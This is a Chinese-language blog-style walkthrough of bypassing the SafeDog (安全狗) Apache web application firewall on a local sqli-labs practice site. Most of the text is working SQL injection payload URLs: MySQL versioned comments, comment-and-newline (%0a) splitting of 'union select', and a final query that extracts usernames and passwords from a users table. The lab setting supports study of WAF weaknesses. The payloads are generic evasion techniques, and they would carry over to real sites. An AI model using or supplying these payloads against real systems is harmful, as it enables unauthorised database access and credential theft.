环境
系统:win7x64+phpstudy+安全狗apache版 v4.0
站点:sqli-labs
bypass
Mysql 注释符:# , -- , /*...*/
Mysql 空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0
绕过 and 1=1
首先判断是否有注入点:
正常情况:http://192.11.22.55/sqli/Less-1/?id=1' and 1=1 %23 (安全狗拦截)
把and 1=1
拆分:
http://192.11.22.55/sqli/Less-1/?id=1' and %23 (安全狗不拦截)
所以要把and
和1=1
当成两部分,在它们之间进行干扰。经过一番测试用/*!..*/
就能绕过
payload:/*!..*/
(在星号后加惊叹号,那么此解释里的语句将被执行)http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23
(安全狗不拦截)
绕过 order by
正常情况:http://192.11.22.55/sqli/Less-1/?id=1' order by 1,2,3 %23 (安全狗拦截)
http://192.11.22.55/sqli/Less-1/?id=1' order by %23 (安全狗不拦截)
所以把order by
和1,2,3,x
当成两部分,继续干扰。用刚刚的思路/*!..*/
绕过http://192.11.22.55/sqli/Less-1/?id=1' order by /*!1,2,3*/ %23
(安全狗不拦截)
绕过 union select
测试:http://192.11.22.55/sqli/Less-1/?id=-1' UNION SELECT %23 (安全狗拦截)
尝试之前的思路union /*!select*/1,2,3
(安全狗拦截)
多次测试之后发现,需要在union
和select
之间进行干扰,当时这里绕了很久,没绕过去,但总感觉能弄出来。好吧,弄久了没啥灵感就去网上搜搜思路。看到了篇今年5月份的帖子
payload:e66union(/*(x/*–*\/)*/select1,2)
,结果被杀了
上个厕所冷静下,想想到底还漏了哪些字符没有利用到,好吧其实我在刷抖音,刷到了条你的城市那么空,回忆那么凶,嘿咯嘿咯
,瞬间充满灵感,是空,空白字符没用到啊!!
拿%0a
去url解码发现有换行的功能,比如select *from admin where id=-1 union %0aselect 1,2,3
可以正常的查询
于是get到点了,最终payload:union /*|--|*/--+%0aselect 1,2,3
http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,2,3%23
(安全狗不拦截)
绕过 union select 1,2,3 from users
利用刚刚绕过union select
的payload,即可绕过,总的来说哪里拦截就干扰哪里。
payload:union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2
http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2%23
(安全狗不拦截)
OK,关于绕狗肯定还有很多姿势,慢慢积累。